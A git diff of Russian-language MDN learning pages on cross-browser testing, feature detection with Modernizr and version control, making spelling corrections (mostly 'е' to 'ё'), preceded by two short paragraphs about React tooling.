    Кроме того, такие преимущества React-приложения, как написание интерфейсов с помощью JSX, требуют процесса компиляции. Добавление на сайт компилятора Babel приводит к более медленному выполнению кода, поэтому такие инструменты обычно настраиваются для процесса сборки. Да, возможно, у React есть серьёзные требования к инструментарию, но этому можно освоить.

    В этой статье основное внимание будет уделено использованию React для создания всего пользовательского интерфейса с помощью create-react-app, предоставляемого Facebook.

    diff --git a/files/ru/learn/tools_and_testing/cross_browser_testing/feature_detection/index.html b/files/ru/learn/tools_and_testing/cross_browser_testing/feature_detection/index.html index 5f3233d635..e96fcf7bf7 100644 --- a/files/ru/learn/tools_and_testing/cross_browser_testing/feature_detection/index.html +++ b/files/ru/learn/tools_and_testing/cross_browser_testing/feature_detection/index.html @@ -7,7 +7,7 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Feature_detection
    {{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Accessibility","Learn/Tools_and_testing/Cross_browser_testing/Automated_testing", "Learn/Tools_and_testing/Cross_browser_testing")}}
    -

    Обнаружение функций включает определение того, поддерживает ли браузер определенный блок кода, и выполнение другого кода в зависимости от того, поддерживает ли он или нет, так что браузер всегда может обеспечить работу, а не сбой / ошибку в некоторых браузерах. В этой статье подробно описывается, как написать собственное простое обнаружение функций, как использовать библиотеку для ускорения реализации, а также встроенные функции для обнаружения функций, такие как @supports.

    +

    Обнаружение функций включает определение того, поддерживает ли браузер определённый блок кода, и выполнение другого кода в зависимости от того, поддерживает ли он или нет, так что браузер всегда может обеспечить работу, а не сбой / ошибку в некоторых браузерах. В этой статье подробно описывается, как написать собственное простое обнаружение функций, как использовать библиотеку для ускорения реализации, а также встроенные функции для обнаружения функций, такие как @supports.

    @@ -24,9 +24,9 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Feature_detection

    Концепция обнаружения функций.

    -

    Идея обнаружения функции заключается в том, что вы можете запустить тест, чтобы определить, поддерживается ли функция в текущем браузере, а затем условно запустить код, чтобы обеспечить приемлемый опыт как в браузерах, которые поддерживают функцию, так и в браузере, который не поддерживает. Если вы этого не сделаете, браузеры, которые не поддерживают функции, которые вы используете в своем коде, не будут отображать ваши сайты должным образом и просто не сработают, создавая плохой опыт пользователя.

    +

    Идея обнаружения функции заключается в том, что вы можете запустить тест, чтобы определить, поддерживается ли функция в текущем браузере, а затем условно запустить код, чтобы обеспечить приемлемый опыт как в браузерах, которые поддерживают функцию, так и в браузере, который не поддерживает. Если вы этого не сделаете, браузеры, которые не поддерживают функции, которые вы используете в своём коде, не будут отображать ваши сайты должным образом и просто не сработают, создавая плохой опыт пользователя.

    -

    Давайте подведем итоги и посмотрим на пример, который мы затронули в нашем документе Решение самых распространенных проблем JavaScript— Использование геолокации (который предоставляет доступные данные о местоположении для устройства, на котором работает веб-браузер) есть основная точка входа для его использования, свойство geolocation,  доступное на глобальном объекте Navigator. Следовательно, вы можете определить, поддерживает ли браузер геолокацию или нет, используя что-то вроде следующего:

    +

    Давайте подведём итоги и посмотрим на пример, который мы затронули в нашем документе Решение самых распространённых проблем JavaScript— Использование геолокации (который предоставляет доступные данные о местоположении для устройства, на котором работает веб-браузер) есть основная точка входа для его использования, свойство geolocation,  доступное на глобальном объекте Navigator. Следовательно, вы можете определить, поддерживает ли браузер геолокацию или нет, используя что-то вроде следующего:

    if ("geolocation" in navigator) {
   navigator.geolocation.getCurrentPosition(function(position) {
@@ -48,7 +48,7 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Feature_detection
 
 
    Вы можете написать тесты для функций CSS, протестировав существование element.style.property (например, paragraph.style.transform) в JavaScript.
    
 
-
    Классическим примером может быть проверка поддержки Flexbox в браузере; для браузеров, которые поддерживают новейшие спецификации Flexbox, мы могли бы использовать гибкую и надежную гибкую компоновку. Для браузеров, которые этого не делают, мы могли бы использовать плавающий макет, который работает нормально, хотя он немного более хрупкий и хакерский, и не такой привлекательный.
    
+
    Классическим примером может быть проверка поддержки Flexbox в браузере; для браузеров, которые поддерживают новейшие спецификации Flexbox, мы могли бы использовать гибкую и надёжную гибкую компоновку. Для браузеров, которые этого не делают, мы могли бы использовать плавающий макет, который работает нормально, хотя он немного более хрупкий и хакерский, и не такой привлекательный.
    
 
 
    Давайте реализуем что-то, что демонстрирует это, хотя мы пока оставим это простым.
    
 
@@ -71,13 +71,13 @@ if (testElem.style.flex !== undefined && testElem.style.flexFlow !== und
  
 
 
-
    Здесь мы берем ссылку на второй элемент <link> и создаем элемент <div> как часть нашего теста.  В нашем условном выражении мы проверяем, что свойства {{cssxref ("flex")}} и {{cssxref ("flex-flow")}} существуют в браузере. Обратите внимание, что представления JavaScript этих свойств, которые хранятся внутри объекта {{domxref ("HTMLElement.style")}}, используют нижний горбатый регистр, а не дефисы, для разделения слов.
    
+
    Здесь мы берём ссылку на второй элемент <link> и создаём элемент <div> как часть нашего теста.  В нашем условном выражении мы проверяем, что свойства {{cssxref ("flex")}} и {{cssxref ("flex-flow")}} существуют в браузере. Обратите внимание, что представления JavaScript этих свойств, которые хранятся внутри объекта {{domxref ("HTMLElement.style")}}, используют нижний горбатый регистр, а не дефисы, для разделения слов.
    
 
 
    
 
    Примечание: Если у вас возникли проблемы с выполнением этого, вы можете сравнить его с нашим кодом css-feature-detect-finished.html (см. Также живую версию).
    
 
    
 
-
    Когда вы сохраните все и опробуете свой пример, вы должны увидеть макет flexbox, примененный к странице, если браузер поддерживает современный flexbox, и макет float, если нет.
    
+
    Когда вы сохраните все и опробуете свой пример, вы должны увидеть макет flexbox, применённый к странице, если браузер поддерживает современный flexbox, и макет float, если нет.
    
 
 
    
 
    Примечание: Часто такой подход является излишним из-за незначительной проблемы с обнаружением функций - вы часто можете обойтись без использования префиксов нескольких поставщиков и свойств резервирования, как описано в разделе Поведение CSS-откат и Обработка префиксов CSS.
    
@@ -134,7 +134,7 @@ if (testElem.style.flex !== undefined && testElem.style.flexFlow !== und
    - + @@ -155,14 +155,14 @@ if (testElem.style.flex !== undefined && testElem.style.flexFlow !== und - +
    Если член в объектеПроверьте, существует ли определенный метод или свойство (обычно точка входа в использование API или другой функции, которую вы обнаруживаете) в его родительском объекте.Проверьте, существует ли определённый метод или свойство (обычно точка входа в использование API или другой функции, которую вы обнаруживаете) в его родительском объекте.

    if("geolocation" in navigator) { ... }

    Свойство на сохраняемое значение элементаСоздайте элемент в памяти, используя {{domxref ("Document.createElement()")}}, установите для свойства определенное значение, затем проверьте, сохраняется ли значение.Создайте элемент в памяти, используя {{domxref ("Document.createElement()")}}, установите для свойства определённое значение, затем проверьте, сохраняется ли значение. См. Dive into HTML5 <input> types detection.
    -

    Примечание: Двойное NOT в приведенном выше примере (!!) это способ заставить возвращаемое значение стать «правильным» логическим значением, а не {{glossary("Truthy")}}/{{glossary("Falsy")}} значение, которое может исказить результаты.

    +

    Примечание: Двойное NOT в приведённом выше примере (!!) это способ заставить возвращаемое значение стать «правильным» логическим значением, а не {{glossary("Truthy")}}/{{glossary("Falsy")}} значение, которое может исказить результаты.

    Страница Погружение в HTML5 Обнаружение функций HTML5 содержит гораздо больше полезных тестов для обнаружения функций, помимо перечисленных выше, и вы можете найти тест обнаружения функций для большинства вещей, выполнив поиск «обнаружение поддержки для ВАШИ-ФУНКЦИИ-ЗДЕСЬ» в своей любимой поисковой системе. Имейте в виду, однако, что некоторые функции, как известно, не обнаруживаются - см. список Modernizr Необнаруживаемые.

    @@ -175,7 +175,7 @@ if (testElem.style.flex !== undefined && testElem.style.flexFlow !== und // run JavaScript in here. } -

    В качестве примера, наша демо версия Snapshot использует ее для выборочного применения библиотеки Brick JavaScript и ее использования для обработки макета пользовательского интерфейса, но только для небольшого экрана (шириной 480 пикселей или меньше). Сначала мы используем атрибут media,чтобы применить CSS-код Brick к странице, только если ширина страницы составляет 480px или меньше:

    +

    В качестве примера, наша демо версия Snapshot использует её для выборочного применения библиотеки Brick JavaScript и её использования для обработки макета пользовательского интерфейса, но только для небольшого экрана (шириной 480 пикселей или меньше). Сначала мы используем атрибут media,чтобы применить CSS-код Brick к странице, только если ширина страницы составляет 480px или меньше:

    <link href="dist/brick.css" type="text/css" rel="stylesheet" media="all and (max-width: 480px)">
    @@ -199,7 +199,7 @@ if (testElem.style.flex !== undefined && testElem.style.flexFlow !== und

    Сохраните его где-нибудь разумно, например, в директории, для которой вы создавали другие примеры в этой статье.

    -

    Когда вы используете Modernizr в рабочей среде, вы можете перейти на Страницу скачивания которую вы уже посетили, и нажимать кнопки плюс только для тех функций, которые вам нужны. Затем, когда вы нажмете кнопку Build вы загрузите пользовательскую сборку, содержащую только те функции, которые обнаружены, что позволит значительно уменьшить размер файла.

    +

    Когда вы используете Modernizr в рабочей среде, вы можете перейти на Страницу скачивания которую вы уже посетили, и нажимать кнопки плюс только для тех функций, которые вам нужны. Затем, когда вы нажмёте кнопку Build вы загрузите пользовательскую сборку, содержащую только те функции, которые обнаружены, что позволит значительно уменьшить размер файла.

    CSS

    @@ -207,10 +207,10 @@ if (testElem.style.flex !== undefined && testElem.style.flexFlow !== und
    1. Во-первых, создайте копию supports-feature-detect.html и supports-styling.css. Сохраните их как modernizr-css.html и modernizr-css.css.
      2. -
    2. Обновите ваш элемент {{htmlelement ("link")}} в своем HTML-коде, чтобы он указывал на правильный файл CSS (также следует обновить элемент {{htmlelement ("title")}} на что-то более подходящее!): +
    3. Обновите ваш элемент {{htmlelement ("link")}} в своём HTML-коде, чтобы он указывал на правильный файл CSS (также следует обновить элемент {{htmlelement ("title")}} на что-то более подходящее!): 
      <link href="modernizr-css.css" rel="stylesheet">
      4. -
    4. Над этим элементом <link> добавьте элемент {{htmlelement ("script")}}, чтобы применить библиотеку Modernizr к странице, как показано ниже. Это должно быть применено к странице перед любым CSS (или JavaScript), который может ее использовать. +
    5. Над этим элементом <link> добавьте элемент {{htmlelement ("script")}}, чтобы применить библиотеку Modernizr к странице, как показано ниже. Это должно быть применено к странице перед любым CSS (или JavaScript), который может её использовать. 
      <script src="modernizr-custom.js"></script>
    6. Теперь отредактируйте открывающий тег <html>, чтобы он выглядел так: @@ -268,7 +268,7 @@ blob-constructor cookies cors ...AND LOADS MORE VALUES!> clear: left; } -

      Так как же это работает? Поскольку все эти имена классов были помещены в элемент <html> вы можете настроить таргетинг на браузеры, которые поддерживают или не поддерживают функцию, используя определенные селекторы-потомки. Поэтому здесь мы применяем верхний набор правил только для браузеров, которые поддерживают flexbox, а нижний набор правил - только для браузеров, которые не поддерживают (no-flexbox).

      +

      Так как же это работает? Поскольку все эти имена классов были помещены в элемент <html> вы можете настроить таргетинг на браузеры, которые поддерживают или не поддерживают функцию, используя определённые селекторы-потомки. Поэтому здесь мы применяем верхний набор правил только для браузеров, которые поддерживают flexbox, а нижний набор правил - только для браузеров, которые не поддерживают (no-flexbox).

      Примечание: Имейте в виду, что все тесты функций HTML и JavaScript Modernizr также представлены в этих именах классов, так что вы можете свободно применять CSS выборочно в зависимости от того, поддерживает ли браузер функции HTML или JavaScript, если это необходимо.

      @@ -280,24 +280,24 @@ blob-constructor cookies cors ...AND LOADS MORE VALUES!>

      JavaScript

      -

      Modernizr также одинаково хорошо подготовлен для реализации функций обнаружения JavaScript. Это достигается за счет того, что глобальный объект Modernizr становится доступным для страницы, к которой он применяется, и содержит результаты функции, определяемой как свойства true/false.

      +

      Modernizr также одинаково хорошо подготовлен для реализации функций обнаружения JavaScript. Это достигается за счёт того, что глобальный объект Modernizr становится доступным для страницы, к которой он применяется, и содержит результаты функции, определяемой как свойства true/false.

      -

      Например, загрузите наш пример modernizr-css.html в своем браузере, затем попробуйте перейти на консоль JavaScript и набрать  Modernizr., а после некоторые из этих имен классов (они тоже здесь одинаковы). Например:

      +

      Например, загрузите наш пример modernizr-css.html в своём браузере, затем попробуйте перейти на консоль JavaScript и набрать  Modernizr., а после некоторые из этих имён классов (они тоже здесь одинаковы). Например:

      Modernizr.flexbox
 Modernizr.websqldatabase
 Modernizr.xhr2
 Modernizr.fetch
      -

      Консоль вернет значения true/false, чтобы указать, поддерживает ли ваш браузер эти функции или нет.

      +

      Консоль вернёт значения true/false, чтобы указать, поддерживает ли ваш браузер эти функции или нет.

      Давайте посмотрим на пример, чтобы показать, как вы бы пользовали эти свойства.

      1. Прежде всего, сделайте локальную копию файла примера modernizr-js.html.
      2. Присоедините библиотеку Modernizr к HTML, используя элемент <script> , как мы делали в предыдущих демонстрациях. Поместите его над существующим элементом <script> который прикрепляет API Google Maps к странице.
        3. -
      3. Затем заполните текст-заполнитель YOUR-API-KEY во втором элементе <script> (как он есть сейчас) действительным ключом API Google Maps. Чтобы получить ключ, войдите в учетную запись Google, перейдите на страницу Получить ключ / Аутентификация затем нажмите синюю кнопку Get a Key и следуйте инструкциям.
        4. -
      4. Наконец, добавьте еще один элемент <script> внизу тела HTML (непосредственно перед тегом </body> ) и поместите следующий скрипт в теги: +
      5. Затем заполните текст-заполнитель YOUR-API-KEY во втором элементе <script> (как он есть сейчас) действительным ключом API Google Maps. Чтобы получить ключ, войдите в учётную запись Google, перейдите на страницу Получить ключ / Аутентификация затем нажмите синюю кнопку Get a Key и следуйте инструкциям.
        6. +
      6. Наконец, добавьте ещё один элемент <script> внизу тела HTML (непосредственно перед тегом </body> ) и поместите следующий скрипт в теги: 
        if (Modernizr.geolocation) {
 
   navigator.geolocation.getCurrentPosition(function(position) {
@@ -324,9 +324,9 @@ Modernizr.fetch

        Подведение итогов

        -

        В этой статье было рассмотрено обнаружение функций с достаточным количеством подробностей, рассмотрены основные концепции и показано, как реализовать свои собственные тесты обнаружения функций и использовать библиотеку Modernizr для более легкой реализации тестов.

        +

        В этой статье было рассмотрено обнаружение функций с достаточным количеством подробностей, рассмотрены основные концепции и показано, как реализовать свои собственные тесты обнаружения функций и использовать библиотеку Modernizr для более лёгкой реализации тестов.

        -

        Далее мы начнем изучать автоматизированное тестирование.

        +

        Далее мы начнём изучать автоматизированное тестирование.

        {{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Accessibility","Learn/Tools_and_testing/Cross_browser_testing/Automated_testing", "Learn/Tools_and_testing/Cross_browser_testing")}}

        @@ -335,9 +335,9 @@ Modernizr.fetch
        • Введение в кросс-браузерное тестирование
        • Стратегии проведения тестирования
          • -
        • Решение распространенных проблем HTML и CSS
          • -
        • Решение распространенных проблем JavaScript
          • -
        • Решение распространенных проблем доступности
          • +
        • Решение распространённых проблем HTML и CSS
          • +
        • Решение распространённых проблем JavaScript
          • +
        • Решение распространённых проблем доступности
        • Реализация функции обнаружения
        • Введение в автоматизированное тестирование
        • Настройка собственной среды автоматизации тестирования
          • diff --git a/files/ru/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html b/files/ru/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html index 64ff9cafcc..7d16d4c70f 100644 --- a/files/ru/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html +++ b/files/ru/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html @@ -17,7 +17,7 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS Цель: - Иметь возможность находить распространенные кросс-браузерные проблемы HTML и CSS, использовать нужные инструменты и методы для их устранения + Иметь возможность находить распространённые кросс-браузерные проблемы HTML и CSS, использовать нужные инструменты и методы для их устранения diff --git a/files/ru/learn/tools_and_testing/cross_browser_testing/index.html b/files/ru/learn/tools_and_testing/cross_browser_testing/index.html index bdb268acb6..e5a66a7963 100644 --- a/files/ru/learn/tools_and_testing/cross_browser_testing/index.html +++ b/files/ru/learn/tools_and_testing/cross_browser_testing/index.html @@ -5,7 +5,7 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing ---
          {{LearnSidebar}}
          -

          Этот модуль фокусируется на тестировании веб-проектов в разных браузерах. Мы рассматриваем идентификацию вашей целевой аудитории (например о каких пользователях, браузерах и устройствах вам больше всего нужно беспокоиться?), Как пройти тестирование, основные проблемы, с которыми вам придется столкнуться с разными типами кода и способы смягчения их, какие инструменты наиболее полезны для помощи в тестировании и устранении проблем, а также о том, как использовать автоматизацию для ускорения тестирования.

          +

          Этот модуль фокусируется на тестировании веб-проектов в разных браузерах. Мы рассматриваем идентификацию вашей целевой аудитории (например о каких пользователях, браузерах и устройствах вам больше всего нужно беспокоиться?), Как пройти тестирование, основные проблемы, с которыми вам придётся столкнуться с разными типами кода и способы смягчения их, какие инструменты наиболее полезны для помощи в тестировании и устранении проблем, а также о том, как использовать автоматизацию для ускорения тестирования.

          Предпосылки

          @@ -15,20 +15,20 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing
          Введение в кросс-браузерное тестирование
          -
          Этот модуль начинается с обзора темы кросс-браузерного тестирования и отвечает на такие вопросы, как «что такое кросс-браузерное тестирование?», «с какими наиболее распространенными типами проблем вы столкнетесь?» и «каковы основные подходы к тестированию, выявлению и устранению проблем?"
          +
          Этот модуль начинается с обзора темы кросс-браузерного тестирования и отвечает на такие вопросы, как «что такое кросс-браузерное тестирование?», «с какими наиболее распространёнными типами проблем вы столкнётесь?» и «каковы основные подходы к тестированию, выявлению и устранению проблем?"
          Стратегии проведения тестирования
          Затем мы углубимся в тестирование, рассматривая целевую аудиторию (например какие браузеры, устройства и другие сегменты должны проверяться), стратегии тестирования низкого уровня (получить себе множество устройств и некоторых виртуальных машин и делать специальные тесты, когда это необходимо), стратегии более высоких технологий (автоматизация, использование специальных тестовых приложений) и тестирование с помощью групп пользователей.
          Рассмотрим общие проблемы HTML и CSS
          -
          С набором сценариев, мы теперь рассмотрим общие кроссбраузерные проблемы, которые вы найдете в коде HTML и CSS, и какие инструменты можно использовать для предотвращения возникновения проблем или устранения возникающих проблем. Это включает в себя листинг кода, передачу префиксов CSS, использование инструментов браузера dev tools для устранения проблем, использование полифилов для добавления поддержки в браузеры, решение проблем с отзывчивым дизайном и многое другое.
          +
          С набором сценариев, мы теперь рассмотрим общие кроссбраузерные проблемы, которые вы найдёте в коде HTML и CSS, и какие инструменты можно использовать для предотвращения возникновения проблем или устранения возникающих проблем. Это включает в себя листинг кода, передачу префиксов CSS, использование инструментов браузера dev tools для устранения проблем, использование полифилов для добавления поддержки в браузеры, решение проблем с отзывчивым дизайном и многое другое.
          Рассмотрим общие проблемы JavaScript
          Теперь мы рассмотрим общие проблемы JavaScript в браузере и как их исправить. Это включает в себя информацию об использовании инструментов браузера для отслеживания и устранения неполадок, используя полифилы и библиотеки для решения проблем, получения современных функций JavaScript, работающих в старых браузерах, и многое другое.
          Рассмотрим общие проблемы доступности
          -
          Затем мы обращаем наше внимание на доступность, предоставляя информацию о распространенных проблемах, как сделать простое тестирование, и как использовать инструменты аудита/автоматизации для поиска проблем доступности.
          +
          Затем мы обращаем наше внимание на доступность, предоставляя информацию о распространённых проблемах, как сделать простое тестирование, и как использовать инструменты аудита/автоматизации для поиска проблем доступности.
          Внедрение свойства обнаружения
          -
          Свойство выявления включает в себя разработку того, поддерживает ли браузер определенный блок кода, и работает ли другой код, зависящий от того, делает он (или нет), чтобы браузер всегда мог обеспечить рабочую силу, а также сбои / ошибки в некоторых браузерах. В этой статье описывается, как написать собственную простую функцию выявления, как использовать библиотеку для ускорения реализации и встроенные функции для обнаружения функций, такие как  @supports.
          +
          Свойство выявления включает в себя разработку того, поддерживает ли браузер определённый блок кода, и работает ли другой код, зависящий от того, делает он (или нет), чтобы браузер всегда мог обеспечить рабочую силу, а также сбои / ошибки в некоторых браузерах. В этой статье описывается, как написать собственную простую функцию выявления, как использовать библиотеку для ускорения реализации и встроенные функции для обнаружения функций, такие как  @supports.
          Введение в автоматизированное тестирование
          Введение в автоматизированное тестирование
          - Вручную запускать тесты на нескольких браузерах и устройствах, несколько раз в день, может стать утомительным и трудоемким. Чтобы эффективно справляться с этим, вы должны ознакомиться с инструментами автоматизации. В этой статье мы рассмотрим, что доступно, как использовать задачи, а также основы использования коммерческих приложений для автоматизации тестирования браузера, таких как Sauce Labs и Browser Stack.
          + Вручную запускать тесты на нескольких браузерах и устройствах, несколько раз в день, может стать утомительным и трудоёмким. Чтобы эффективно справляться с этим, вы должны ознакомиться с инструментами автоматизации. В этой статье мы рассмотрим, что доступно, как использовать задачи, а также основы использования коммерческих приложений для автоматизации тестирования браузера, таких как Sauce Labs и Browser Stack.
          Настройка собственной среды автоматизации тестирования
          В этой статье мы научим вас, как установить свою собственную среду автоматизации и запустить собственные тесты с помощью Selenium / WebDriver и библиотеки тестирования, такой как selenium-webdriver для Node. Мы также рассмотрим, как интегрировать локальную тестовую среду с коммерческими приложениями, такими как те, которые обсуждались в предыдущей статье.
          diff --git a/files/ru/learn/tools_and_testing/cross_browser_testing/introduction/index.html b/files/ru/learn/tools_and_testing/cross_browser_testing/introduction/index.html index 6057b46650..4f02764c4f 100644 --- a/files/ru/learn/tools_and_testing/cross_browser_testing/introduction/index.html +++ b/files/ru/learn/tools_and_testing/cross_browser_testing/introduction/index.html @@ -9,7 +9,7 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Introduction
          {{NextMenu("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies", "Learn/Tools_and_testing/Cross_browser_testing")}}
          -

          Эта статья начинает модуль с обзора темы кросс-браузерного тестирования, отвечая на такие вопросы как "что такое кросс-браузерное тестирование?", "с какими распространенными проблемами можно столкнуться?" и "какие основные подходы для тестирования, обнаружения и исправления проблем существуют?"

          +

          Эта статья начинает модуль с обзора темы кросс-браузерного тестирования, отвечая на такие вопросы как "что такое кросс-браузерное тестирование?", "с какими распространёнными проблемами можно столкнуться?" и "какие основные подходы для тестирования, обнаружения и исправления проблем существуют?"

          @@ -26,11 +26,11 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Introduction

          Что такое кросс-браузерное тестирование?

          -

          Кросс-браузерное тестирование - это практика обеспечения уверенности в том, что веб-сайты и веб-приложения, которые вы создаете, работают в приемлемом количестве браузеров. Обязанность веб-разработчика быть уверенным, что проект работает не только у вас, а у всех ваших пользователей, независимо от браузера, устройства, или других вспомогательных инструментов, которые они используют. Вы должны думать о:

          +

          Кросс-браузерное тестирование - это практика обеспечения уверенности в том, что веб-сайты и веб-приложения, которые вы создаёте, работают в приемлемом количестве браузеров. Обязанность веб-разработчика быть уверенным, что проект работает не только у вас, а у всех ваших пользователей, независимо от браузера, устройства, или других вспомогательных инструментов, которые они используют. Вы должны думать о:

          • Других браузерах. Не тех нескольких, которые вы регулярно используете, а о довольно старых, которые некоторые люди могут использовать до сих пор, и которые не поддерживают современные возможности CSS и JavaScript.
            • -
          • Разных устройствах с разными возможностями, начиная от последних лучших планшетов, смартфонов и "умных" телевизоров, до дешевых устройств и самых старых смартфонов, в которых браузеры могут работать с ограниченными возможностями.
            • +
          • Разных устройствах с разными возможностями, начиная от последних лучших планшетов, смартфонов и "умных" телевизоров, до дешёвых устройств и самых старых смартфонов, в которых браузеры могут работать с ограниченными возможностями.
          • Людях с инвалидностью, которые используют Web с помощью вспомогательных технологий, таких как скринридеры, или не используют мышь (некоторые используют только клавиатуру).
          @@ -40,24 +40,24 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Introduction

          Примечание: Статья сделаем веб доступным для всех предоставляет более полезную информацию о различных браузерах, которые используют люди, их доле рынка и связанных с этим проблемах совместимости браузеров.

          -

          Мы должны поговорить немного о терминологии. Для начала, когда мы говорим о сайтах, "работающих кросс-браузерной", на самом деле мы говорим о том, что они должны обеспечивать приемлемое удобство использования в разных браузерах. Это нормально, если сайт выглядит немного по-разному в разных браузерах, главное он должен обеспечивать полную функциональность.В современных браузерах вы можете сделать что-то анимированным или использовать 3D, тогда как в старых браузерах вы можете лишь показать плоскую картинку, предоставляющую ту же информацию. Если владелец сайта доволен, вы сделали свое дело.

          +

          Мы должны поговорить немного о терминологии. Для начала, когда мы говорим о сайтах, "работающих кросс-браузерной", на самом деле мы говорим о том, что они должны обеспечивать приемлемое удобство использования в разных браузерах. Это нормально, если сайт выглядит немного по-разному в разных браузерах, главное он должен обеспечивать полную функциональность.В современных браузерах вы можете сделать что-то анимированным или использовать 3D, тогда как в старых браузерах вы можете лишь показать плоскую картинку, предоставляющую ту же информацию. Если владелец сайта доволен, вы сделали своё дело.

          С другой стороны, плохо, когда сайт полноценно работает для обычных людей, но может быть совершенно недоступен для людей, имеющих проблемы со зрением, т.к. их приложения для чтения экрана не могут распознать информацию на сайте.

          Когда мы говорим "приемлемое количество браузеров", мы не говорим, что это должно быть 100% всех браузеров в мире — это почти невозможно. Вы можете собрать информацию о том, какими браузеры и устройства используют ваши пользователи (это мы обсудим во второй статье — см. Gotta test 'em all?), но это ничего не гарантирует. Как веб-разработчик, вы должны определить для себя несколько браузеров и устройств, на которых код должен работать полностью, но кроме этого, вы должны писать код так, чтобы и другие браузеры были способны максимально использовать ваш сайт (defensive coding). Это одна из самых больших проблем веб-разработки.

          -

          Примечание: Мы разберем defensive coding позже в этом модуле.

          +

          Примечание: Мы разберём defensive coding позже в этом модуле.

          Почему возникают кросс-браузерные проблемы?

          -

          Есть множество причин, почему возникают кросс-браузерные проблемы, и, заметьте, что сейчас мы говорим о проблемах, при которых некоторые вещи ведут себя по-разному в разных браузерах / устройствах / настройках просмотра. Прежде чем вы столкнетесь с проблемами браузера, вы должны исправить все ошибки в коде (см. Отладка HTML, Отладка CSS, and Что пошло не так? Устранение ошибок JavaScript из предыдущего раздела).

          +

          Есть множество причин, почему возникают кросс-браузерные проблемы, и, заметьте, что сейчас мы говорим о проблемах, при которых некоторые вещи ведут себя по-разному в разных браузерах / устройствах / настройках просмотра. Прежде чем вы столкнётесь с проблемами браузера, вы должны исправить все ошибки в коде (см. Отладка HTML, Отладка CSS, and Что пошло не так? Устранение ошибок JavaScript из предыдущего раздела).

          Кросс-браузерные проблемы возникают потому-что:

            -
          • иногда браузеры содержат баги, или реализуют возможности по-разному. В настоящее время это не такая частая проблема, но когда IE4 и Netscape 4 конкурировали за право быть доминирующим браузером в 90-е, компании-разработчики браузеров умышленно реализовывали возможности по-своему в попытке получить конкурентное преимущество, что делало жизнь веб-разработчикам адом. Сейчас же браузеры гораздо жестче соблюдают стандарты, но различия и баги все же иногда возникают.
            • +
          • иногда браузеры содержат баги, или реализуют возможности по-разному. В настоящее время это не такая частая проблема, но когда IE4 и Netscape 4 конкурировали за право быть доминирующим браузером в 90-е, компании-разработчики браузеров умышленно реализовывали возможности по-своему в попытке получить конкурентное преимущество, что делало жизнь веб-разработчикам адом. Сейчас же браузеры гораздо жёстче соблюдают стандарты, но различия и баги все же иногда возникают.
          • браузеры имеют разную степень поддержи современных технологий. Это неизбежно, когда вы имеете дело с новейшими функциями, которые браузеры только начинают осваивать, или если вы вынуждены поддерживать очень старые браузеры, которые более не дорабатываются или которые могли быть заморожены (то есть в них не добавляют новый функционал) задолго до того, как придумали новые возможности. Например, если вы хотите использовать передовые возможности JavaScript на вашем сайте, то они могут не работать в старых браузерах. Если вам нужна поддержка старых браузеров, вы можете конвертировать ваш код под старый синтаксис, используя специальные компиляторы.
          • некоторые устройства могут иметь ограничения, из-за которых сайт работает медленно или отображается неверно. Например, если сайт был спроектирован для просмотра на десктопных устройствах, он возможно будет выглядеть мелко и трудночитаемо на мобильных устройствах. Если ваш сайт содержит множество больших анимаций, это может быть хорошо на высокопроизводительных планшетах, но может быть вялым или резким на устройствах меньшей производительности.
          @@ -76,7 +76,7 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Introduction

          Начальное планирование > Разработка > Тестирование > Исправление ошибок

          -

          Шаги 2-4 будут повторяться до тех пор, пока не будут реализованы все возможности. Мы рассмотрим различные элементы процесса тестирования более детально в следующих статьях, но пока давайте соберем то, что может происходить на каждом этапе.

          +

          Шаги 2-4 будут повторяться до тех пор, пока не будут реализованы все возможности. Мы рассмотрим различные элементы процесса тестирования более детально в следующих статьях, но пока давайте соберём то, что может происходить на каждом этапе.

          Начальное планирование

          diff --git a/files/ru/learn/tools_and_testing/github/index.html b/files/ru/learn/tools_and_testing/github/index.html index 3f7b569a9f..9b3f639f8e 100644 --- a/files/ru/learn/tools_and_testing/github/index.html +++ b/files/ru/learn/tools_and_testing/github/index.html @@ -19,16 +19,16 @@ original_slug: Learn/Tools_and_testing/GitHub

          СКВ являются основой для разработки программного обеспечения:

            -
          • Редко, когда вы работаете с проектом полностью самостоятельно. Как только вы начинаете работать с другими людьми, возникает риск конфликта. Речь идет о ситуации, когда несколько человек пытается в одно и то же время обновить одну и ту же часть кода. Нужен определенный механизм, позволяющий управлять событиями и тем самым избежать потери результатов общей работы.
            • +
          • Редко, когда вы работаете с проектом полностью самостоятельно. Как только вы начинаете работать с другими людьми, возникает риск конфликта. Речь идёт о ситуации, когда несколько человек пытается в одно и то же время обновить одну и ту же часть кода. Нужен определённый механизм, позволяющий управлять событиями и тем самым избежать потери результатов общей работы.
          • Работая с проектом в одиночку или с другими, вы захотите иметь возможность иметь резервную копию кода на случай поломки вашего компьютера.
            • -
          • Также у вас может возникнуть необходимость откатить изменения к более ранним версиям, если проблема обнаружена позднее. Конечно, это начать делать самостоятельно, сохраняя различные версии одного и того же файла, например myCode.js, myCode_v2.js, myCode_v3.js, myCode_final.js, myCode_really_really_final.js, и так далее, но это на самом деле ненадежный и порождающий ошибки способ.
            • +
          • Также у вас может возникнуть необходимость откатить изменения к более ранним версиям, если проблема обнаружена позднее. Конечно, это начать делать самостоятельно, сохраняя различные версии одного и того же файла, например myCode.js, myCode_v2.js, myCode_v3.js, myCode_final.js, myCode_really_really_final.js, и так далее, но это на самом деле ненадёжный и порождающий ошибки способ.
          • Различные члены команды могут захотеть создать собственные версии кода (в Git такие версии именуются ветками), работать над новой фичей в этой версии, а затем контролируемо объединить эту версию (в GitHub используются пул реквизиты - запросы на принятие изменений) с главной версией.

